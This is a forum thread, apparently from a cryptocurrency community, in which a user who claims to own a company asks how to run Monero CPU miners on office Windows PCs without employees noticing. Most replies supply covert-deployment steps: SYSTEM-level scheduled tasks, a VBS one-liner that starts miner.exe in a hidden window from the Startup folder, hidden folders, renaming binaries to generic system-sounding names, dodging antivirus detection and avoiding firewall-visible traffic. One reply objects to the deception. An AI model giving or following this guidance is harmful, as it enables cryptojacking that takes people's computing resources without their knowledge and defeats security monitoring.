Topic: How to start a hidden miner? - page 3. (Read 1436 times)
Minergate is not the best program but it has a console version which is well hidden.
I use the job planner and run the miners on behalf of the user "system" when turning on the computer. You can also configure the BIOS to turn on the computer after a working day, and in the same scheduler turn it off before people come to work 
We have a lot of windows computers in the company I own. All of them with expensive and fast CPUs. Already did some calculations and even with a low CPU usage (0 impact in the tasks we need to do) It would be very profitable to mine!
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance

Here you go, don't get fired

Also thanks turanz and joblo for your great ideas.
I am considering all your suggestions guys. Did not expect this amount of useful answers, you guys are a great community

To actually answer the question, use the task scheduler to run it "whether a user logs in or not" at every boot and it will not open a cmd window

http://www.robvanderwoude.com/battech_hideconsole.phpGet fired from the company he owns?
lol he doesnt own it, if he owned it he would be damned about what the employees think about some 'wierd' screen haha
he probabaly just said that to keep people off his case

It's not the "weird screen" that will worry employees, it's the mysterious process using so much CPU.
You're trying to run a program often identified as malware and trying to do it surrepticiously.
No, that won't raise any suspicion.
If you're really the owner you way overspent on your PCs if you can run a CPU miner without affecting
the primary task. Not the move of a smart business owner.
You will be found out by the employees, your deception will be exposed, and your integrity as a boss/owner damaged.
Or you're lying and just an employee trying to scam your boss.
Either way you're a lyer, but I say do it, and get caught. People like you need to be exposed.

im using this solution:
CreateObject("Wscript.Shell").Run "miner.exe",0,True
Save as filename.vbs and drag to startup windows folder
CreateObject("Wscript.Shell").Run "miner.exe",0,True
Save as filename.vbs and drag to startup windows folder
I have tried the same, this is working perfectly. Don't forget to "super hide" the folder. And one important thing is, don't use all CPU resources, 50% it's enough.
nice topic , i found it without search about it 
lol you should probably tell your employees
A couple suggestions to be a bit more discreet.
- Rename the application files to something other than XMR Stak, something obscure and generic like "system" "netsys" etc.... so if noticed by someone it won't be a dead give away on a Google search of "xmr stak" or even worse they know what XMR is, mining is popular you'd be surprised who is doing it.
- Run it as a scheduled task off hours, don't get greedy *edit "owner"
- Make sure anti-virus doesn't flag the software, this is a sure way to bring attention to the PC and applications running on it.
- Mine local pools as to not generate out of the country traffic that will look suspicious if it is big enough network to have advanced firewalls and net security.
Good luck, happy mining.
